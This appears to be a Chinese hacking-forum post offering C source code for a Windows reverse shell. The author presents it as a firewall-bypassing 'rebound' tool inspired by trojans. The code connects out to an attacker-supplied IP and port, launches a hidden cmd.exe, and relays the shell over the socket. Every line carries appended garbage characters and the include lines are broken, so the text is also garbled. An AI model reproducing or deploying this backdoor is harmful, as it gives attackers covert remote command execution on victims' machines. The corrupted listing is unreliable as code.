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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Qe )#'$T  
)d|hIW]7(  
/* ============================== )tV^)n[w  
Rebound port in Windows NT 32sb$|eQq  
By wind,2006/7 KVrK:W--p  
===============================*/ Kc:} Ky  
#include %g>{m2o  
#include 20t</lq.  
/:}z*a  
#pragma comment(lib,"wsock32.lib") ohA@Zm8O  
t!Uc, mEV]  
void OutputShell(); q|A-h'  
SOCKET sClient; -^JGa{9*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rpNe8"sh  
*G{Zo*2< i  
void main(int argc,char **argv) Nh[{B{k  
{ Uieg4Iro  
WSADATA stWsaData; UT9=S21  
int nRet; j;k(AM<  
SOCKADDR_IN stSaiClient,stSaiServer; 92k}ON  
-~HlME *~f  
if(argc != 3) e]+ [lq\p@  
{ c[Mz#BWG  
printf("Useage:\n\rRebound DestIP DestPort\n"); DjT ekn  
return; M\s^>7es  
} Qp?n0WXZ  
^gdg0y!5~  
WSAStartup(MAKEWORD(2,2),&stWsaData); LEJ7.82  
E5%ae (M^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 63$ R')  
2ju1<t,8)  
stSaiClient.sin_family = AF_INET; Lz VvUVk  
stSaiClient.sin_port = htons(0); RhJL`>W`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R<!WW9IM  
)pVxp]EI  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _]=`F l  
{ i`g>Y5   
printf("Bind Socket Failed!\n"); N[$(y} !s  
return; rr[9sk`^H  
} rwxJR@Ttn  
_l?5GLl_F$  
stSaiServer.sin_family = AF_INET; f-\l<o(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wBcDL/(>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y^C; ?B<  
*4zVK/FJ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Hc@Z7eQ3^  
{ r[$Qtj Q  
printf("Connect Error!"); c3lfmTT6^  
return; |yI?}zyR  
} w?AE8n$8  
OutputShell(); |jV4]7Luq  
} d]e`t"Aj  
 <C4^Vem  
void OutputShell() )N-+,Ms  
{ UY **3MK  
char szBuff[1024]; ZUyM:$  
SECURITY_ATTRIBUTES stSecurityAttributes; y|KDh'Y  
OSVERSIONINFO stOsversionInfo; @fpxGMy&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "`:#sF9S  
STARTUPINFO stStartupInfo; )m[!HE`cZ  
char *szShell; PyHE >C%  
PROCESS_INFORMATION stProcessInformation; d*3R0Q|#{  
unsigned long lBytesRead; ? =IbiT  
qRB7I:m-Wi  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vfhip"1  
B0Z~L){i  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V!KtF  
stSecurityAttributes.lpSecurityDescriptor = 0; y&__ 2t^u  
stSecurityAttributes.bInheritHandle = TRUE; TF^]^XS'  
wCvD4C.WH  
t9pPG{1  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nbpN+a%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Zt` ,DM  
fWm;cDM H  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wq]nz!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y i@61XI  
stStartupInfo.wShowWindow = SW_HIDE; :OI!YR%"  
stStartupInfo.hStdInput = hReadPipe; v2@M,xbxF:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fr%KO)s2  
udc9$uO  
GetVersionEx(&stOsversionInfo); `%ymg8^  
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switch(stOsversionInfo.dwPlatformId) 1shvHmrV  
{ !#iP)"O  
case 1: EoY#D'[  
szShell = "command.com"; w#b~R^U  
break; )kUq2 -r  
default: ?qK:P  
szShell = "cmd.exe"; w-nkf M~  
break; E/GI:}YUy_  
} nMc-kyl{  
m d C. FO-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t%dPj8~  
cRg$~rYd  
send(sClient,szMsg,77,0); 56':U29.]  
while(1) Nq~bO_-I  
{ ZRxB"a'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i&LbSxUh9  
if(lBytesRead) 3 oWCQ  
{ 7SqsVq`[~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xU rfH$$!`  
send(sClient,szBuff,lBytesRead,0); ;8 b f5  
} 2=3iA09px  
else L:^'cl} G  
{ 5!cplx=<  
lBytesRead=recv(sClient,szBuff,1024,0); 2dI:],7  
if(lBytesRead<=0) break; #-V Kk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w|5}V6WD  
} )O&$-4gL'  
} U&eLj"XZ  
zR<jZwo]#  
return; :e9E#o  
}
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